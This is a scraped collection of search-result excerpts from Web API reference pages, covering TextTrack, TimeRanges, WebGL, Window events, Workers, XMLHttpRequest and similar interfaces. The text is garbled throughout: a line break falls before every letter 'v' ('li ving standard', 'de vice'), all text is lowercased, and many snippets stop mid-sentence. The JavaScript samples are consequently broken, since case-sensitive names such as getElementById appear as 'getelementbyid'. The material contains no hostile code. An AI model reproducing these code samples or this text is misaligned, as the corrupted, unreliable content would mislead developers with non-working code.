Text.wholeText - Web APIs
<strong>no insipid election coverage!</strong> however, <a href="http://en.wikipedia.org/wiki/absentee_ballot">casting a ballot</a> is tricky.</p> you decide you don’t like the middle sentence, so you remove it: para.removechild(para.childnodes[1]); later, you decide to rephrase things to, “thru-hiking is great, but casting a ballot is tricky.” while preser
ving the hyperlink.
...that’s where replacewholetext() comes in: para.firstchild.replacewholetext("thru-hiking is great, but "); we’re remo
ving every adjacent text node (all the ones that constituted the whole text) but the one on which replacewholetext() is called, and we’re changing the remaining one to the new text.
... li
ving standard no significant change.
TextRange - Web APIs
textrange.pastehtml() paste the html content into the given range and replace any pre
vious text and html elements in the range.
... textrange.scrollinto
view() scroll the range to the
visible range (top or bottom).
... it can be used as an alternative to element.scrollinto
view in the lower version of ie.
TextTrack: cuechange event - Web APIs
if the track is associated with a media element, using the <track> element as a child of the <audio> or <
video> element, the cuechange event is also sent to the htmltrackelement.
...id("texttrack"); texttrackelem.addeventlistener("cuechange", (event) => { let cues = event.target.track.activecues; }); in addition, you can use the oncuechange event handler: let texttrackelem = document.getelementbyid("texttrack"); texttrackelem.oncuechange = (event) => { let cues = event.target.track.activecues; }); specifications specification status html li
ving standardthe definition of 'cuechange' in that specification.
... li
ving standard ...
TextTrack - Web APIs
also available
via the oncuechange property.
... example tbd specifications specification status comment html li
ving standardthe definition of 'texttrack' in that specification.
... li
ving standard ...
TextTrackList.length - Web APIs
var mediaelem = document.queryselector("
video, audio"); var numtexttracks = 0; if (mediaelem.texttracks) { numtexttracks = mediaelem.texttracks.length; } note that this sample checks to be sure htmlmediaelement.texttracks is defined, to avoid failing on browsers without support for texttrack.
... specifications specification status comment html li
ving standardthe definition of 'texttracklist: length' in that specification.
... li
ving standard ...
TextTrackList.onremovetrack - Web APIs
document.queryselectorall("
video, audio")[0].texttracks.onremovetrack = function(event) { mytrackcount = document.queryselectorall("
video, audio")[0].texttracks.length; }; the current number of text tracks remaining in the media element is obtained from texttracklist property length.
... specifications specification status comment html li
ving standardthe definition of 'texttracklist: onremovetrack' in that specification.
... li
ving standard ...
TimeRanges.end() - Web APIs
example given a
video element with the id "my
video": var v = document.getelementbyid("my
video"); var buf = v.buffered; var numranges = buf.length; if (buf.length == 1) { // only one range if (buf.start(0) == 0 && buf.end(0) == v.duration) { // the one range starts at the beginning and ends at // the end of the
video, so the whole thing is loaded } } this example looks at the time ranges and looks to see if the entire
video has been loaded.
... specifications specification status comment html li
ving standardthe definition of 'timeranges.end()' in that specification.
... li
ving standard initial definition ...
TimeRanges.length - Web APIs
syntax length = timeranges.length; example given a
video element with the id "my
video": var v = document.getelementbyid("my
video"); var buf = v.buffered; var numranges = buf.length; if (buf.length == 1) { // only one range if (buf.start(0) == 0 && buf.end(0) == v.duration) { // the one range starts at the beginning and ends at // the end of the
video, so the whole thing is loaded } } this example looks at the time ranges and looks to see if the entire
video has been loaded.
... specifications specification status comment html li
ving standardthe definition of 'timeranges.length()' in that specification.
... li
ving standard initial definition ...
TimeRanges.start() - Web APIs
example given a
video element with the id "my
video": var v = document.getelementbyid("my
video"); var buf = v.buffered; var numranges = buf.length; if (buf.length == 1) { // only one range if (buf.start(0) == 0 && buf.end(0) == v.duration) { // the one range starts at the beginning and ends at // the end of the
video, so the whole thing is loaded } } this example looks at the time ranges and looks to see if the entire
video has been loaded.
... specifications specification status comment html li
ving standardthe definition of 'timeranges.start()' in that specification.
... li
ving standard initial definition ...
TimeRanges - Web APIs
the timeranges interface is used to represent a set of time ranges, primarily for the purpose of tracking which portions of media have been buffered when loading it for use by the <audio> and <
video> elements.
... specifications specification status comment html li
ving standardthe definition of 'timeranges' in that specification.
... li
ving standard initial definition ...
Touch.force - Web APIs
a value of 0.0 is returned if no value is known (for example the touch de
vice does not support this property).
... in en
vironments where force is known, the absolute pressure represented by the force attribute, and the sensiti
vity in levels of pressure, may vary.
...this property is a relative value of pressure applied, in the range 0.0 to 1.0, where 0.0 is no pressure, and 1.0 is the highest level of pressure the touch de
vice is capable of sensing.
TrackDefault - Web APIs
the trackdefault interface pro
vides a sourcebuffer with kind, label, and language information for tracks that do not contain this information in the initialization segments of a media chunk.
... a trackdefault object is pro
vided to a sourcebuffer object by setting its sourcebuffer.trackdefaults property.
...audio,
video, or text track.) trackdefault.bytestreamtrackid read only returns the id of the specific track that the sourcebuffer should apply to.
TreeWalker.lastChild() - Web APIs
the treewalker.lastchild() method moves the current node to the last
visible child of the current node, and returns the found child.
... syntax node = treewalker.lastchild(); example var treewalker = document.createtreewalker( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); var node = treewalker.lastchild(); // returns the last
visible child of the root element specifications specification status comment domthe definition of 'treewalker.lastchild' in that specification.
... li
ving standard no change from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.lastchild' in that specification.
URL.createObjectURL() - Web APIs
note: this feature is not available in ser
vice workers due to its potential to create memory leaks.
... using object urls for media streams in older versions of the media source specification, attaching a stream to a <
video> element required creating an object url for the mediastream.
... this is no longer necessary, and browsers are remo
ving support for doing this.
URL.revokeObjectURL() - Web APIs
the url.revokeobjecturl() static method releases an existing object url which was pre
viously created by calling url.createobjecturl().
... note: this method is not available from ser
vice workers, due to issues with the blob interface's life cycle and the potential for leaks.
... syntax url.revokeobjecturl(objecturl) parameters objecturl a domstring representing a object url that was pre
viously created by calling createobjecturl().
URLSearchParams.forEach() - Web APIs
the foreach() method of the urlsearchparams interface allows iteration through all values contained in this object
via a callback function.
... syntax searchparams.foreach(callback); parameters callback a callback function that is executed against each parameter, with the param value pro
vided as its parameter.
... li
ving standard initial definition.
USBConfiguration.configurationName - Web APIs
the configurationname read-only property of the usbconfiguration interface returns the name pro
vided by the de
vice to describe this configuration.
... this is equal to the value of the string descriptor with the index pro
vided in the iconfiguration field of the configuration descriptor defining this configuration.
... syntax var name = usbconfiguration.configurationname value the name pro
vided by the de
vice to describe this configuration.
VRStageParameters - Web APIs
the vrstageparameters interface of the webvr api represents the values describing the the stage area for de
vices that support room-scale experiences.
... properties vrstageparameters.sittingtostandingtransform read only contains a matrix that transforms the sitting-space
view matrices of vrframedata to standing-space.
... examples var info = document.queryselector('p'); var vrdisplay; na
vigator.getvrdisplays().then(function(displays) { vrdisplay = displays[0]; var stageparams = vrdisplay.stageparameters; // stageparams is a vrstageparameters object if(stageparams === null) { info.textcontent = 'your vr hardware does not support room-scale experiences.' } else { info.innerhtml = '<strong>display stage parameters</strong>' + '<br>sitting to standing transform: ' + stageparams.sittingtostandingtransform + '<br>play area width (m): ' + stageparams.sizex + '<br>pl...
VTTCue() - Web APIs
for example, if a cue is to be
visible from 50 seconds to a one minute, five and a half seconds in the media's playback, starttime will be 50.0.
... text a domstring pro
viding the text that will be shown during the time span indicated by starttime and endtime.
...var cue = new vttcue(2, 3, 'cool text to be displayed'); specifications specification status comment webvtt: the web
video text tracks formatthe definition of 'vttcue()' in that specification.
ValidityState.patternMismatch - Web APIs
the read-only patternmismatch property of a validitystate object indicates if the value of an <input>, after ha
ving been edited by the user, does not conform to the constraints set by the element's pattern attribute.
... specifications specification status comment html li
ving standardthe definition of 'validitystate.patternmismatch' in that specification.
... li
ving standard html 5.1the definition of 'validitystate.patternmismatch' in that specification.
ValidityState.rangeOverflow - Web APIs
the read-only rangeoverflow property of a validitystate object indicates if the value of an <input>, after ha
ving been edited by the user, does not conform to the constraints set by the element's max attribute.
... specifications specification status comment html li
ving standardthe definition of 'validitystate.rangeoverflow' in that specification.
... li
ving standard html 5.1the definition of 'validitystate.rangeoverflow' in that specification.
ValidityState.rangeUnderflow - Web APIs
the read-only rangeunderflow property of a validitystate object indicates if the value of an <input>, after ha
ving been edited by the user, does not conform to the constraints set by the element's min attribute.
... specifications specification status comment html li
ving standardthe definition of 'validitystate.rangeunderflow' in that specification.
... li
ving standard html 5.1the definition of 'validitystate.rangeunderflow' in that specification.
validityState.tooLong - Web APIs
the read-only toolong property of a validitystate object indicates if the value of an <input> or <textarea>, after ha
ving been edited by the user, exceeds the maximum code-unit length established by the element's maxlength attribute.
... specifications specification status comment html li
ving standardthe definition of 'validitystate.toolong' in that specification.
... li
ving standard html 5.1the definition of 'validitystate.toolong' in that specification.
validityState.tooShort - Web APIs
the read-only tooshort property of a validitystate object indicates if the value of an <input>, <button>, <select>, <output>, <fieldset> or <textarea>, after ha
ving been edited by the user, is less than the minimum code-unit length established by the element's minlength attribute.
... specifications specification status comment html li
ving standardthe definition of 'validitystate.tooshort' in that specification.
... li
ving standard html 5.1the definition of 'validitystate.tooshort' in that specification.
WEBGL_compressed_texture_pvrtc - Web APIs
availability: pvrtc is typically only available on mobile de
vices with powervr chipsets.
... it is used in all generations of the iphone, ipod touch and ipad and supported on certain android de
vices that use a powervr gpu.
... note: on ios de
vices, this extension is named webkit_webgl_compressed_texture_pvrtc.
WEBGL_debug_renderer_info - Web APIs
depending on the privacy settings of the browser, this extension might only be available to pri
vileged contexts.
... availability: depending on the privacy settings of the browser, this extension might only be available to pri
vileged contexts or not work at all.
... examples with the help of this extension, pri
vileged contexts are able to retrieve debugging information about about the user's graphic driver: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var debuginfo = gl.getextension('webgl_debug_renderer_info'); var vendor = gl.getparameter(debuginfo.unmasked_vendor_webgl); var renderer = gl.getparameter(debuginfo.unmasked_renderer_webgl); console.log(vendor); console.log(renderer); specifications ...
WakeLock.request() - Web APIs
syntax var wakelock = na
vigator.wakelock.request(type); parameters type options are as follows: 'screen': requests a screen wake lock.
... prevents de
vices from dimming or locking the screen.
... const requestwakelock = async () => { try { const wakelock = await na
vigator.wakelock.request('screen'); } catch (err) { // the wake lock request fails - usually system related, such low as battery console.log(`${err.name}, ${err.message}`); } } requestwakelock(); specifications specification status comment screen wake lock apithe definition of 'request()' in that specification.
WakeLock - Web APIs
the wakelock interface of the screen wake lock api prevents de
vice screens from dimming or locking when an application needs to keep running.
... the system wake lock is exposed through the global na
vigator.wakelock property.
... const requestwakelock = async () => { try { const wakelock = await na
vigator.wakelock.request('screen'); } catch (err) { // the wake lock request fails - usually system related, such low as battery console.log(`${err.name}, ${err.message}`); } } requestwakelock(); specifications specification status comment screen wake lock apithe definition of 'wakelock' in that specification.
WebGL2RenderingContext.texImage3D() - Web APIs
dth, height, depth, border, format, type, glintptr offset); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, htmlcanvaselement source); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, htmlimageelement source); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, html
videoelement source); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, imagebitmap source); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, imagedata source); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, arraybuffer
view?
... srcdata); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, arraybuffer
view srcdata, srcoffset); parameters target a glenum specifying the binding point (target) of the active texture.
... gl.byte gl.unsigned_short gl.short gl.unsigned_int gl.int gl.half_float gl.float gl.unsigned_int_2_10_10_10_rev gl.unsigned_int_10f_11f_11f_rev gl.unsigned_int_5_9_9_9_rev gl.unsigned_int_24_8 gl.float_32_unsigned_int_24_8_rev (pixels must be null) source one of the following objects can be used as a pixel source for the texture: arraybuffer
view, imagebitmap, imagedata, htmlimageelement, htmlcanvaselement, html
videoelement.
WebGLRenderingContext.compressedTexImage[23]D() - Web APIs
syntax // webgl 1: void gl.compressedteximage2d(target, level, internalformat, width, height, border, arraybuffer
view?
... pixels); // additionally available in webgl 2: // read from buffer bound to gl.pixel_unpack_buffer void gl.compressedteximage2d(target, level, internalformat, width, height, border, glsizei imagesize, glintptr offset); void gl.compressedteximage2d(target, level, internalformat, width, height, border, arraybuffer
view srcdata, optional srcoffset, optional srclengthoverride); // read from buffer bound to gl.pixel_unpack_buffer void gl.compressedteximage3d(target, level, internalformat, width, height, depth, border, glsizei imagesize, glintptr offset); void gl.compressedteximage3d(target, level, internalformat, width, height, depth, border, arraybuffer
view srcdata, optional srcoffset, optional srclengthoverride); parameters target...
... pixels an arraybuffer
view that be used as a data store for the compressed image data in memory.
WebGLRenderingContext.compressedTexSubImage2D() - Web APIs
syntax // webgl 1: void gl.compressedtexsubimage2d(target, level, xoffset, yoffset, width, height, format, arraybuffer
view?
... pixels); // additionally available in webgl 2: void gl.compressedtexsubimage2d(target, level, xoffset, yoffset, width, height, format, imagesize, offset); void gl.compressedtexsubimage2d(target, level, xoffset, yoffset, width, height, format, arraybuffer
view srcdata, optional srcoffset, optional srclengthoverride); parameters target a glenum specifying the binding point (target) of the active compressed texture.
... pixels an arraybuffer
view that be used as a data store for the compressed image data in memory.
WebGLRenderingContext.depthRange() - Web APIs
the webglrenderingcontext.depthrange() method of the webgl api specifies the depth range mapping from normalized de
vice coordinates to window or
viewport coordinates.
... syntax void gl.depthrange(znear, zfar); parameters znear a glclampf specifying the mapping of the near clipping plane to window or
viewport coordinates.
... zfar a glclampf specifying the mapping of the far clipping plane to window or
viewport coordinates.
WebGLRenderingContext.enableVertexAttribArray() - Web APIs
either way, since attributes cannot be used unless enabled, and are disabled by default, you need to call enablevertexattribarray() to enable indi
vidual attributes so that they can be used.
... example this code — a snippet taken from the full example a basic 2d webgl animation example — shows the use of enablevertexarray() to activate the attribute that will be used by the webgl layer to pass indi
vidual vertexes from the vertex buffer into the vertex shader function.
...this step is not ob
vious, since this binding is almost a side effect.
WebGLRenderingContext.readPixels() - Web APIs
the webglrenderingcontext.readpixels() method of the webgl api reads a block of pixels from a specified rectangle of the current color framebuffer into an arraybuffer
view object.
... syntax // webgl1: void gl.readpixels(x, y, width, height, format, type, pixels); // webgl2: void gl.readpixels(x, y, width, height, format, type, glintptr offset); void gl.readpixels(x, y, width, height, format, type, arraybuffer
view pixels, gluint dstoffset); parameters x a glint specifying the first horizontal pixel that is read from the lower left corner of a rectangular block of pixels.
...possible values: gl.unsigned_byte gl.unsigned_short_5_6_5 gl.unsigned_short_4_4_4_4 gl.unsigned_short_5_5_5_1 gl.float webgl2 adds gl.byte gl.unsigned_int_2_10_10_10_rev gl.half_float gl.short gl.unsigned_short gl.int gl.unsigned_int gl.unsigned_int_10f_11f_11f_rev gl.unsigned_int_5_9_9_9_rev pixels an arraybuffer
view object to read data into.
Basic scissoring - Web APIs
« pre
viousnext » in this example, we see how to draw simple rectangles and squares using webgl scissoring operations.
..." + "your browser or de
vice may not support webgl."; return; } gl.
viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); // enable scissoring operation and define the position and // size of the scissoring area.
... « pre
viousnext » ...
Color masking - Web APIs
« pre
viousnext » this webgl example modifies random colors by applying color masking to limit the range of displayed colors to specific shades.
...indow.addeventlistener("load", function setupanimation (evt) { "use strict" window.removeeventlistener(evt.type, setupanimation, false); var canvas = document.queryselector("canvas"); var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { document.queryselector("p").innerhtml = "failed to get webgl context." + "your browser or de
vice may not support webgl."; return; } gl.
viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); var timer = setinterval(drawanimation, 1000); var mask = [true, true, true]; var redtoggle = document.queryselector("#red-toggle"), greentoggle = document.queryselector("#green-toggle"), bluetoggle = document.queryselector("#blue-toggle"); redtoggle.addeventlistener...
... « pre
viousnext » ...
Scissor animation - Web APIs
« pre
viousnext » a simple webgl example in which we have some animation fun using scissoring and clearing operations.
...()]; } function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragraph.innerhtml = "failed to get webgl context." + "your browser or de
vice may not support webgl."; return null; } gl.
viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); gl.clearcolor(0.0, 0.0, 0.0, 1.0); gl.clear(gl.color_buffer_bit); return gl; } })(); the source code of this example is also available on github.
... « pre
viousnext » ...
Textures from code - Web APIs
« pre
viousnext » this webgl example pro
vides a simple demonstration of procedural texturing with fragment shaders.
...am); } function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { var paragraph = document.queryselector("p"); paragraph.innerhtml = "failed to get webgl context." + "your browser or de
vice may not support webgl."; return null; } gl.
viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); gl.clearcolor(0.0, 0.0, 0.0, 1.0); gl.clear(gl.color_buffer_bit); return gl; } })(); the source code of this example is also available on github.
... « pre
viousnext » ...
Animating objects with WebGL - Web APIs
« pre
viousnext » in this example, we'll actually rotate our square plane.
...after translating to the initial drawing position for the square, we apply the rotation like this: mat4.rotate(model
viewmatrix, // destination matrix model
viewmatrix, // matrix to rotate squarerotation, // amount to rotate in radians [0, 0, 1]); // axis to rotate around this rotates the model
viewmatrix by the current value of squarerotation, around the z axis.
...
view the complete code | open this demo on a new page « pre
viousnext » ...
Using WebRTC data channels - Web APIs
at a fundamental level, the indi
vidual network packets can't be larger than a certain value (the exact number depends on the network and the transport layer being used).
...chrome will instead see a series of messages that it believes are complete, and will deliver them to the recei
ving rtcdatachannel as multiple messages.
...the problem arises from the fact that sctp—the protocol used for sending and recei
ving data on an rtcdatachannel—was originally designed for use as a signaling protocol.
WebSocket.send() - Web APIs
arraybuffer
view you can send any javascript typed array object as a binary frame; its binary data contents are queued in the buffer, increasing the value of bufferedamount by the requisite number of bytes.
... specifications specification status comment html li
ving standardthe definition of 'websocket: send' in that specification.
... li
ving standard initial definition ...
Web Budget API - Web APIs
concepts and usage tbd interfaces budgetser
vice pro
vides a programmatic interface to the user agent’s budget ser
vice.
... it is available in both document and worker en
vironments.
... budgetstate pro
vides the amount of the user agent's processing budget at a specific point in time.
The structured clone algorithm - Web APIs
it is used internally to transfer data between workers
via postmessage(), storing objects with indexeddb, or copying objects for other apis.
... it clones by recursing through the input object while maintaining a map of pre
viously
visited references, to avoid infinitely traversing cycles.
... blob file filelist arraybuffer arraybuffer
view including other typed arrays.
window.cancelAnimationFrame() - Web APIs
the window.cancelanimationframe() method cancels an animation frame request pre
viously scheduled through a call to window.requestanimationframe().
...yle.left = math.min(progress / 10, 200) + 'px'; if (progress < 2000) { // it's important to update the requestid each time you're calling requestanimationframe myreq = requestanimationframe(step); } } myreq = requestanimationframe(step); // the cancelation uses the last requestid cancelanimationframe(myreq); specifications specification status comment html li
ving standardthe definition of 'cancelanimationframe()' in that specification.
... li
ving standard ...
Window.closed - Web APIs
refreshing a pre
viously opened popup in this example the function refreshpopupwindow() calls the reload() method of the popup's location object to refresh its data.
... const popupwindow = null; function refreshpopupwindow() { if (popupwindow && !popupwindow.closed) { // popupwindow is open, refresh it popupwindow.location.reload(true); } else { // open a new popup window popupwindow = window.open('popup.html', 'datawindow'); } } specification specification status comment html li
ving standardthe definition of 'window.closed' in that specification.
... li
ving standard ...
Window.confirm() - Web APIs
example if (window.confirm("do you really want to leave?")) { window.open("exit.html", "thanks for
visiting!"); } produces: notes the following text is shared between this article, dom:window.prompt and dom:window.alert dialog boxes are modal windows — they prevent the user from accessing the rest of the program's interface until the dialog box is closed.
... specification specification status comment html li
ving standardthe definition of 'confirm()' in that specification.
... li
ving standard ...
Window.matchMedia() - Web APIs
there's a good example of this in the article on window.de
vicepixelratio.
... examples this example runs the media query (max-width: 600px) and displays the value of the resulting mediaquerylist's matches property in a <span>; as a result, the output will say "true" if the
viewport is less than or equal to 600 pixels wide, and will say "false" if the window is wider than that.
... specifications specification status comment css object model (cssom)
view modulethe definition of 'window.matchmedia()' in that specification.
Window.name - Web APIs
it has also been used in some frameworks for pro
viding cross-domain messaging (e.g., sessionvars and dojo's dojox.io.windowname) as a more secure alternative to jsonp.
... specifications specification status comment html li
ving standardthe definition of 'window.name' in that specification.
... li
ving standard html5the definition of 'window.name' in that specification.
Window: offline event - Web APIs
the offline event of the window interface is fired when the browser has lost access to the network and the value of na
vigator.online switches to false.
... interface event event handler property onoffline examples // addeventlistener version window.addeventlistener('offline', (event) => { console.log("the network connection has been lost."); }); // onoffline version window.onoffline = (event) => { console.log("the network connection has been lost."); }; specifications specification status html li
ving standardthe definition of 'offline event' in that specification.
... li
ving standard ...
Window: online event - Web APIs
the online event of the window interface is fired when the browser has gained access to the network and the value of na
vigator.online switches to true.
...interface event event handler property ononline examples // addeventlistener version window.addeventlistener('online', (event) => { console.log("you are now connected to the network."); }); // ononline version window.ononline = (event) => { console.log("you are now connected to the network."); }; specifications specification status html li
ving standardthe definition of 'online event' in that specification.
... li
ving standard ...
Obsolete features - Web APIs
the windows taskbar, as well as the titlebar and the status bar of the window are not
visible, nor accessible when fullscreen is enabled in msie 5.x.
...forcing fullscreen onto other users is also extremely unpopular and is considered an outright rude attempt to impose web author's
viewing preferences onto users.
...in addition to the personal toolbar, mozilla browser will render the site na
vigation bar if such toolbar is
visible, present in the parent window.
Window: orientationchange event - Web APIs
the orientationchange event is fired when the orientation of the de
vice has changed.
... bubbles no cancelable no interface event event handler onorientationchange example you can use the orientationchange event in an addeventlistener method: window.addeventlistener("orientationchange", function(event) { console.log("the orientation of the de
vice is now " + event.target.screen.orientation.angle); }); or use the onorientationchange event handler property: window.onorientationchange = function(event) { console.log("the orientation of the de
vice is now " + event.target.screen.orientation.angle); }; specifications specification status compatibility standardthe definition of 'orientationchange' in that specification.
... li
ving standard ...
Window: pagehide event - Web APIs
for example, when the user clicks the browser's back button, the current page receives a pagehide event before the pre
vious page is shown.
...vent.persisted) { /* the page isn't being discarded, so it can be reused later */ } }, false); this can also be written using the onpagehide event handler property on the window: window.onpagehide = event => { if (event.persisted) { /* the page isn't being discarded, so it can be reused later */ } } specifications specification status comment html li
ving standardthe definition of 'pagehide' in that specification.
... li
ving standard initial specification.
Window.requestAnimationFrame() - Web APIs
when callbacks queued by requestanimationframe() begin to fire multiple callbacks in a single frame, each receives the same timestamp even though time has passed during the computation of every pre
vious callback's workload.
... specification specification status comment html li
ving standardthe definition of 'requestanimationframe' in that specification.
... li
ving standard no change, supersedes the pre
vious one.
Window: resize event - Web APIs
the resize event fires when the document
view (window) has been resized.
...returned by document.default
view).
... obsolete css object model (cssom)
view modulethe definition of 'resize' in that specification.
Window.screenLeft - Web APIs
the window.screenleft read-only property returns the horizontal distance, in css pixels, from the left border of the user's browser
viewport to the left side of the screen.
... syntax leftwindowpos = window.screenleft returns a number equal to the number of css pixels from the left edge of the browser
viewport to the left edge of the screen.
... if(!window.screenleft) { window.screenleft = window.screenx; window.screentop = window.screeny; } specifications specification status comment css object model (cssom)
view modulethe definition of 'window.screenleft' in that specification.
Window.screenTop - Web APIs
the window.screentop read-only property returns the vertical distance, in css pixels, from the top border of the user's browser
viewport to the top side of the screen.
... syntax topwindowpos = window.screentop returns a number equal to the number of css pixels from the top edge of the browser
viewport to the top edge of the screen.
... if(!window.screenleft) { window.screenleft = window.screenx; window.screentop = window.screeny; } specifications specification status comment css object model (cssom)
view modulethe definition of 'window.screentop' in that specification.
Window.screenX - Web APIs
the window.screenx read-only property returns the horizontal distance, in css pixels, of the left border of the user's browser
viewport to the left side of the screen.
... syntax leftwindowpos = window.screenx returns a number equal to the number of css pixels from the left edge of the browser
viewport to the left edge of the screen.
... if(!window.screenleft) { window.screenleft = window.screenx; window.screentop = window.screeny; } specifications specification status comment css object model (cssom)
view modulethe definition of 'window.screenx' in that specification.
Window.screenY - Web APIs
the window.screeny read-only property returns the vertical distance, in css pixels, of the top border of the user's browser
viewport to the top edge of the screen.
... syntax topwindowpos = window.screeny returns a number equal to the number of css pixels from the top edge of the browser
viewport to the top edge of the screen.
... if(!window.screenleft) { window.screenleft = window.screenx; window.screentop = window.screeny; } specifications specification status comment css object model (cssom)
view modulethe definition of 'window.screeny' in that specification.
WindowEventHandlers.onlanguagechange - Web APIs
the list is accessible
via na
vigatorlanguage.languages.
... example window.onlanguagechange = function(event) { console.log('languagechange event detected!'); }; specifications specification status comment html li
ving standardthe definition of 'windoweventhandler.onlanguagechange' in that specification.
... li
ving standard initial specification.
WindowEventHandlers.onpopstate - Web APIs
the popstate event is only triggered by performing a browser action, such as clicking on the back button (or calling history.back() in javascript), when na
vigating between two history entries for the same document.
... specifications specification status comment html li
ving standardthe definition of 'onpopstate' in that specification.
... li
ving standard ...
WindowOrWorkerGlobalScope.caches - Web APIs
example the following example shows how you'd use a cache in a ser
vice worker context to store assets offline.
...tml', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-test/gallery/mylittlevader.jpg', '/sw-test/gallery/snowtroopers.jpg' ]); }) ); }); specifications specification status comment ser
vice workersthe definition of 'caches' in that specification.
... ser
vice workers working draft initial definition.
WindowOrWorkerGlobalScope.crossOriginIsolated - Web APIs
the crossoriginisolated read-only property of the windoworworkerglobalscope interface returns a boolean value that indicates whether a sharedarraybuffer can be sent
via a window.postmessage() call.
... syntax var mycrossoriginisolated = self.crossoriginisolated; // or just crossoriginisolated value a boolean value examples if(crossoriginisolated) { // post sharedarraybuffer } else { // do something else } specifications specification status comment html li
ving standardthe definition of 'crossoriginisolated' in that specification.
... li
ving standard initial definition.
WindowOrWorkerGlobalScope.origin - Web APIs
via file:// url), origin will return the string "null".
... specifications specification status comment html li
ving standardthe definition of 'windoworworkerglobalscope.origin' in that specification.
... li
ving standard initial definition.
WindowProxy - Web APIs
when a browsing context is na
vigated, the window object its windowproxy wraps is changed.
... specifications specification status comment html li
ving standardthe definition of 'windowproxy' in that specification.
... li
ving standard initial definition.
Worker() - Web APIs
if the url has an invalid syntax or if the same-origin policy is
violated.
... specifications specification status comment html li
ving standardthe definition of 'worker()' in that specification.
... li
ving standard ...
Worker.prototype.postMessage() - Web APIs
if the message parameter is not pro
vided, a typeerror will be thrown.
...to see a full working example of this firefox demo add-on see here: github :: chromeworker - demo-transfer-arraybuffer specifications specification status comment html li
ving standardthe definition of 'worker.postmessage()' in that specification.
... li
ving standard ...
WorkerGlobalScope.location - Web APIs
note: firefox has a bug with using console.log inside shared/ser
vice workers (see bug 1058644), which may return strange results, but this should be fixed soon.
... specifications specification status comment html li
ving standardthe definition of 'location' in that specification.
... li
ving standard ...
WritableStreamDefaultWriter.WritableStreamDefaultWriter() - Web APIs
exceptions typeerror the pro
vided stream value is not a writablestream, or it is locked to another writer already.
...tten"); }) .catch((err) => { console.log("stream error:", err); }); } const decoder = new textdecoder("utf-8"); const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var
view = new uint16array(buffer);
view[0] = chunk; var decoded = decoder.decode(
view, { stream: true }); var listitem = document.createelement('li'); listitem.textcontent = "chunk decoded: " + decoded; list.appendchild(listitem); result += decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.textcontent = "...
... li
ving standard initial definition.
WritableStreamDefaultWriter.close() - Web APIs
the underlying sink will finish processing any pre
viously-written chunks, before invoking the close beha
vior.
...tten"); }) .catch((err) => { console.log("stream error:", err); }); } const decoder = new textdecoder("utf-8"); const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var
view = new uint16array(buffer);
view[0] = chunk; var decoded = decoder.decode(
view, { stream: true }); var listitem = document.createelement('li'); listitem.textcontent = "chunk decoded: " + decoded; list.appendchild(listitem); result += decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.textcontent = "...
... li
ving standard initial definition.
XMLHttpRequest.getAllResponseHeaders() - Web APIs
the code shows how to obtain the raw header string, as well as how to convert it into an array of indi
vidual headers and then how to take that array and create a mapping of header names to their values.
... var request = new xmlhttprequest(); request.open("get", "foo.txt", true); request.send(); request.onreadystatechange = function() { if(this.readystate == this.headers_received) { // get the raw header string var headers = request.getallresponseheaders(); // convert the header string into an array // of indi
vidual headers var arr = headers.trim().split(/[\r\n]+/); // create a map of header names to values var headermap = {}; arr.foreach(function (line) { var parts = line.split(': '); var header = parts.shift(); var value = parts.join(': '); headermap[header] = value; }); } } once this is done, you can, for example: var contenttype = headermap["content-type"]; this obtains the value of the content-type header into the var...
... li
ving standard whatwg li
ving standard ...
XMLHttpRequest.overrideMimeType() - Web APIs
the xmlhttprequest method overridemimetype() specifies a mime type other than the one pro
vided by the server to be used instead when interpreting the data being transferred in a request.
... note: if the server doesn't pro
vide a content-type header, xmlhttprequest assumes that the mime type is "text/xml".
... li
ving standard whatwg li
ving standard ...
XMLHttpRequest.response - Web APIs
you may attempt to request the data be pro
vided in a specific format by setting the value of responsetype after calling open() to initialize the request but before calling send() to send the request to the server.
...it works by creating an xmlhttprequest object and creating a listener for readystatechange events such that that when readystate changes to done (4), the response is obtained and passed into the callback function pro
vided to load().
... var url = 'somepage.html'; //a local page function load(url, callback) { var xhr = new xmlhttprequest(); xhr.onreadystatechange = function() { if (xhr.readystate === 4) { callback(xhr.response); } } xhr.open('get', url, true); xhr.send(''); } specifications specification status comment xmlhttprequest li
ving standard whatwg li
ving standard ...
XMLHttpRequestEventTarget - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
